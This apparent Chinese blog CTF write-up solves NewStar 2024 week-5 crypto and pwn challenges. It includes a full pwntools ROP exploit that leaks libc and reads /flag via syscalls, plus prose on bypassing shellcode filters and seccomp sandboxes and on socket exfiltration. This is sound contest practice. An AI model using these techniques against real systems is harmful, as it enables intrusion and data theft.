当前位置: 首页 > news >正文

[NewStar 2024] week5完结

每次都需要用手机验证码登录,题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。

Crypto

没e也能完

这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p))

格格你好棒

给了a,b和提示((p+2*r) * 3*a + q) % b < 70 其中r是个短量。可以推出

3ap+6ra+q = kb+alpha 显然这里的k也就一两位,暂时弄个8爆破一下(别更他名字里的格)

for k in range(1,8):tp = k*b//(3*a)if tp.nbits()==512:print(tp)tq = k*b - tp*3*a for i in range(70):q = tq + i if isPrime(q):print(long_to_bytes(int(pow(c,inverse_mod(0x10001,q-1),q))))

这个代码有点斜,从一开始就吐槽python是多么神经非要用空格代替块标记。 为了减少缩进还要用逆向的规则not continue。就不用逆向的,就斜着写。python最大的缺点应该就是用空格代替块标记吧。

easy_ECC

把给的数代进去就行

#C1 = m + r*K = m +r*k*G  = m + k*C2
#C1 - k*C2 = m
E = EllipticCurve(GF(p),[a,b])
C1,C2 = E(c1),E(c2)
m = C1 - k*C2
x,y = m.xy()
long_to_bytes(int(c_left*inverse_mod(int(x),p)%p))+long_to_bytes(int(c_right*inverse_mod(int(y),p)%p))
#flag{This_is_the_last_crypto_}

RSA?md5!

flag就差7个字节,copper一下就行

hm0 = pow(s,e,n)
hm = long_to_bytes(int(hm0))
#b'86133884de98baada58a8c4de66e15b8'
#部分明文已知
#flag = 'flag{th1s_1s_my_k3y:' + m + '0x86133884de98baada58a8c4de66e15b8}'
P.<x> = PolynomialRing(Zmod(n))
f = (x*256^35 + bytes_to_long(b'flag{th1s_1s_my_k3y:')*256^(35+7) + bytes_to_long(b'0x86133884de98baada58a8c4de66e15b8}'))^e - c 
#res = f.monic().small_roots(X=256^7)
#res
#long_to_bytes(int(res[0]))
#cmd5查询
m0 = 'adm0n12'
get_flag(m0)
#flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}

学以致用

3个方程2个未知数,度又很低,直接求groebner_basis

gift = b'GoOd_byE_nEw_5t@r'
m3 = bytes_to_long(gift)
P.<m1,m2> = PolynomialRing(Zmod(n))
f1 = m1^3 - c1
f2 = m2^3 - c2 
f3 = (m1+m2+m3)^3 - c3 F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)res=[x.constant_coefficient() for x in I]
m1 = -res[0]%n
m2 = -res[1]%n
long_to_bytes(int(m1))
long_to_bytes(int(m2))
#flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}

PWN

C_or_CPP

先是c输入的时候泄露残留得到ld(一般是libc,不过ld也有对应的可执行块和pop_rdi等gadget)然后是c++到c复制的时候有溢出。这锅都让C背了

from pwn import *
context(arch='amd64', log_level='debug')ld = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')
elf = ELF('./C_or_CPP')#p = process('./C_or_CPP')
p = remote('47.104.11.21', 32794)p.sendlineafter(b"Please choose an option: ", b'2')
p.recvuntil(b"Address of c_string: ")
stack = int(p.recvline(), 16) +0x70
p.sendlineafter(b"C++ String input: ", b'END')
p.sendafter(b"C String input: ", b'A'*0x50)
p.recvuntil(b'A'*0x50)
ld_base = u64(p.recv(6)+b'\0\0') - 0x3a040
pop_rdi = ld_base + 0x000000000000351e # pop rdi ; ret
pop_rsi = ld_base + 0x00000000000054da # pop rsi ; ret
pop_rdx = ld_base + 0x0000000000020323 # pop rdx ; pop rbx ; ret
pop_rax_rdx = ld_base + 0x0000000000020322 # pop rax ; pop rdx ; pop rbx ; ret
print(f"{stack = :x} {ld_base = :x}")p.sendlineafter(b"Please choose an option: ", b'5')
p.sendlineafter(b"Try to say something: ", flat(b'\0'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x402e4a))
libc.address = u64(p.recv(6) + b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#gdb.attach(p, "b*0x402f8b\nc")
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; retsyscall = libc.sym['getpid']+9
p.sendlineafter(b"Try to say something: ", flat([b'/flag\0\0\0'*8,0,  pop_rdi, stack, pop_rsi, 0, pop_rax,2,syscall,pop_rdi, 3, pop_rsi, 0x408800, pop_rax_rdx, 0,0x50,0, syscall,pop_rdi, 1, pop_rax, 1, syscall]))p.interactive()

simple_shellcode

以下待完成。这个的漏洞在于当输入中包含非字母时会删除,但是指针i并不会在原地保留继续检查,而是像正常指针一样移到下一个,比如当前是2,删除后3会变为2而下个检查是3,这样不合法的字节写两遍即可绕过检查。也可以用字母写shellcode就是麻烦点。对于每次只能输入8字节,就每次输入8字节就行了多输入几次。

然后对于沙箱用openat代替read用mmap代替read用writev代码write

no_output

对于关闭0,1,2的情况,因为与用户的连接已经中断,侧信道是不行了。听说打内网的时候可以开socket然后send。可以咱也没有互联网的IP,算了。看了官方WP还真是开socket,无语。

当时还想到另外一种情况fork+ptrace不过没成功,开两个进程不清楚pid也没成功。不过WP说也可以但pid怎么弄还是个问题。

Elden_Ring

两个绕过,第1个是strncmp这个函数跟strcmp,stricmp差不多,当参1串\0里结束,所以只需要输入一个sh256后开头是0的串即可,这个需要爆破一下,平均1/256

第2个是输入base64值去=,会申请L//4*3+1的空间,而解码后长度能达到L//4*3+2,也就是有个off_by_one,堆题也就够了。后边是2.23的用realloc_hook 调偏移+malloc_hook

相关文章:

[NewStar 2024] week5完结

每次都需要用手机验证码登录&#xff0c;题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。 Crypto 没e也能完 这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p)) 格格你好棒 给了a,b和提示((p2*r) * 3*a q) % b < 70 其中r…...

IntelliJ IDEA的快捷键

IntelliJ IDEA 是一个非常强大的集成开发环境&#xff0c;它提供了大量的快捷键来加速开发者的日常工作。这里为您整理了一份 IntelliJ IDEA 的快捷键大全&#xff0c;包含了编辑、导航、重构、运行等多个方面的快捷键。请注意&#xff0c;这些快捷键是基于 Windows 版本的 Int…...

暮雨直播 1.3.2 | 内置直播源,频道丰富,永久免费

暮雨直播是一款内置直播源的电视直播应用程序&#xff0c;提供丰富的频道内容&#xff0c;包括教学、首页、一线、博主、解说、动漫、堆堆等。该应用的内置直播源持续更新维护&#xff0c;确保用户可以稳定地观看各种电视频道。暮雨直播承诺永久免费&#xff0c;为用户提供了一…...

单相锁相环,原理与Matlab实现

单相锁相环基本原理 单相锁相环的基本原理图如下所示&#xff0c; u α u_\alpha uα​ u β u_\beta uβ​经Park变换、PI控制实现对角频率 ω \omega ω和角度 θ \theta θ的估算。不同锁相环方案之间的差异&#xff0c;主要表现在正交电压 u β u_\beta uβ​的生成&#x…...

PICO+Unity 用手柄点击UI界面

如果UI要跟随头显&#xff0c;可将Canvas放置到XR Origin->Camera Offset->Main Camera下 1.Canvas添加TrackedDeviceGraphicRaycaster组件 2.EventSystem移动默认的Standard Input Module&#xff0c;添加XRUIInputModule组件 3.&#xff08;可选&#xff09;设置射线可…...

Rust移动开发:Rust在iOS端集成使用介绍

iOS调用Rust 上篇介绍了 Rust移动开发&#xff1a;Rust在Android端集成使用介绍, 这篇主要看下iOS上如何使用Rust&#xff0c;Rust可以给移动端开发提供跨平台&#xff0c;通用组件支持。 该篇适合对iOS、Rust了解&#xff0c;想知道如何整合调用和编译的&#xff0c;如果想要…...

虚拟现实技术在旅游行业的应用

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 虚拟现实技术在旅游行业的应用 虚拟现实技术在旅游行业的应用 虚拟现实技术在旅游行业的应用 引言 虚拟现实技术概述 定义与原理…...

《Java核心技术 卷I》Swing使用颜色

使用颜色 使用Graphics2D类的setPaint方法可以为图形上下文上的所有后续的绘制操作选择颜色。例如&#xff1a; g2.setPaint(Color.RED); g2.drawString("Warning!",100,100); 可以用一种颜色填充一个封闭图像(例如&#xff1a;矩形或椭圆)的内部。为此&#xff…...

神书《从零构建大模型》分享,尚未发布,GitHub标星22k!!

《从零构建大模型》是一本即将于今年10月底发布的书籍&#xff0c;github已经吸引了惊人的21.7k标星&#xff01;作者是威斯康星大学麦迪逊分校的终身教授&#xff0c;在GitHub、油管、X上拥有大量粉丝&#xff0c;是一位真正的大佬。 本书免费获取地址 在本书中&#xff0…...

【JavaEE进阶】Spring AOP 原理

在之前的博客中 【JavaEE进阶】Spring AOP使用篇_aop多个切点-CSDN博客 我们主要学习了SpringAOP的应用, 接下来我们来学习SpringAOP的原理, 也就是Spring是如何实现AOP的. SpringAOP 是基于动态代理来实现AOP的,咱们学习内容主要分以下两部分 1.代理模式 2.Spring AOP源码剖…...

【网络安全】2.3 安全的网络设计_2.防御深度原则

文章目录 一、网络架构二、网络设备三、网络策略四、处理网络安全事件五、实例学习&#xff1a;安全的网络设计结论 网络设计是网络安全的基础&#xff0c;一个好的网络设计可以有效的防止攻击者的入侵。在本篇文章中&#xff0c;我们将详细介绍如何设计一个安全的网络&#…...

测绘程序设计|C#字符串及其操作|分割|取子串|格式化数值|StringBuilder类

由于微信公众号改变了推送规则&#xff0c;为了每次新的推送可以在第一时间出现在您的订阅列表中&#xff0c;记得将本公众号设为星标或置顶喔~ 简单介绍了C#字符串分割、取子串、拼接、格式化数值以及StringBuilder类&#xff0c;拿捏测绘程序设计大赛~ &#x1f33f;前言 字…...

自然语言处理——Hugging Face 详解

Hugging Face 是一个以自然语言处理&#xff08;NLP&#xff09;为核心的人工智能平台和开源社区&#xff0c;提供了一系列非常流行的机器学习工具和预训练模型&#xff0c;尤其在文本生成、分类、翻译、情感分析等任务中表现出色。Hugging Face 旗下最为著名的项目是 Transfor…...

本地保存mysql凭据实现免密登录mysql

本地保存mysql凭据 mysql加密登录文件简介加密保存mysql用户的密码到本地凭据 mysql加密登录文件简介 要在 mysql客户端 上连接 MySQL 而无需在命令提示符上输入用户名和口令&#xff0c;下列三个位置可用于存储用户的mysql 凭证来满足此要求。 配置文件my.cnf或my.ini /etc…...

Ubuntu 22 安装 Apache Doris 3.0.3 笔记

Ubuntu 22 安装 Apache Doris 3.0.3 笔记 1. 环境准备 Doris 需要 Java 17 作为运行环境&#xff0c;所以首先需要安装 Java 17。 sudo apt-get install openjdk-17-jdk -y sudo update-alternatives --config java在安装 Java 17 后&#xff0c;可以通过 sudo update-alter…...

构建智能防线 灵途科技光电感知助力轨交全向安全防护

10月27日&#xff0c;在南京南站至紫金山东站间的高铁联络线上&#xff0c;一头野猪侵入轨道&#xff0c;与D5515次列车相撞&#xff0c;导致设备故障停车。 事故不仅造成南京南站部分列车晚点&#xff0c;还在故障排查过程中导致随车机械师因被邻线限速通过的列车碰撞而不幸身…...

【go从零单排】泛型(Generics)、链表

&#x1f308;Don’t worry , just coding! 内耗与overthinking只会削弱你的精力&#xff0c;虚度你的光阴&#xff0c;每天迈出一小步&#xff0c;回头时发现已经走了很远。 &#x1f4d7;概念 在Go语言中&#xff0c;泛型&#xff08;Generics&#xff09;允许你编写可以处理…...

IoTDB 与 HBase 对比详解:架构、功能与性能

五大方向&#xff0c;洞悉 IoTDB 与 HBase 的详尽对比&#xff01; 在物联网&#xff08;IoT&#xff09;领域&#xff0c;数据的采集、存储和分析是确保系统高效运行和决策准确的重要环节。随着物联网设备数量的增加和数据量的爆炸式增长&#xff0c;开发者和决策者们需要选择…...

推荐一款ETCD桌面客户端——Etcd Workbench

Etcd Workbench 我相信很多人在开始管理ETCD的时候都去搜了Etcd客户端工具&#xff0c;然后找到了官方的Etcd Manager&#xff0c;但用完之后发现它并不好用&#xff0c;还不支持多连接和代码格式化&#xff0c;并且已经好几年不更新了&#xff0c;于是市面上就有了好多其他客…...

01 Oracle 数据库存储结构深度解析:从数据文件到性能优化的全链路探究

文章目录 Oracle 数据库存储结构深度解析&#xff1a;从数据文件到性能优化的全链路探究一、Oracle存储结构的物理层次1.1 控制文件&#xff08;Control File&#xff09;1.2 联机重做日志文件&#xff08;Online Redo Log File&#xff09;1.3 数据文件&#xff08;Data File&…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:

在 HarmonyOS 应用开发中&#xff0c;手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力&#xff0c;既支持点击、长按、拖拽等基础单一手势的精细控制&#xff0c;也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

高频面试之3Zookeeper

高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个&#xff1f;3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制&#xff08;过半机制&#xff0…...

vue3 字体颜色设置的多种方式

在Vue 3中设置字体颜色可以通过多种方式实现&#xff0c;这取决于你是想在组件内部直接设置&#xff0c;还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法&#xff1a; 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...

第一篇:Agent2Agent (A2A) 协议——协作式人工智能的黎明

AI 领域的快速发展正在催生一个新时代&#xff0c;智能代理&#xff08;agents&#xff09;不再是孤立的个体&#xff0c;而是能够像一个数字团队一样协作。然而&#xff0c;当前 AI 生态系统的碎片化阻碍了这一愿景的实现&#xff0c;导致了“AI 巴别塔问题”——不同代理之间…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

IoT/HCIP实验-3/LiteOS操作系统内核实验(任务、内存、信号量、CMSIS..)

文章目录 概述HelloWorld 工程C/C配置编译器主配置Makefile脚本烧录器主配置运行结果程序调用栈 任务管理实验实验结果osal 系统适配层osal_task_create 其他实验实验源码内存管理实验互斥锁实验信号量实验 CMISIS接口实验还是得JlINKCMSIS 简介LiteOS->CMSIS任务间消息交互…...

ArcGIS Pro制作水平横向图例+多级标注

今天介绍下载ArcGIS Pro中如何设置水平横向图例。 之前我们介绍了ArcGIS的横向图例制作&#xff1a;ArcGIS横向、多列图例、顺序重排、符号居中、批量更改图例符号等等&#xff08;ArcGIS出图图例8大技巧&#xff09;&#xff0c;那这次我们看看ArcGIS Pro如何更加快捷的操作。…...

【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统

目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索&#xff08;基于物理空间 广播范围&#xff09;2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)

上一章用到了V2 的概念&#xff0c;其实 Fiori当中还有 V4&#xff0c;咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务)&#xff0c;代理中间件&#xff08;ui5-middleware-simpleproxy&#xff09;-CSDN博客…...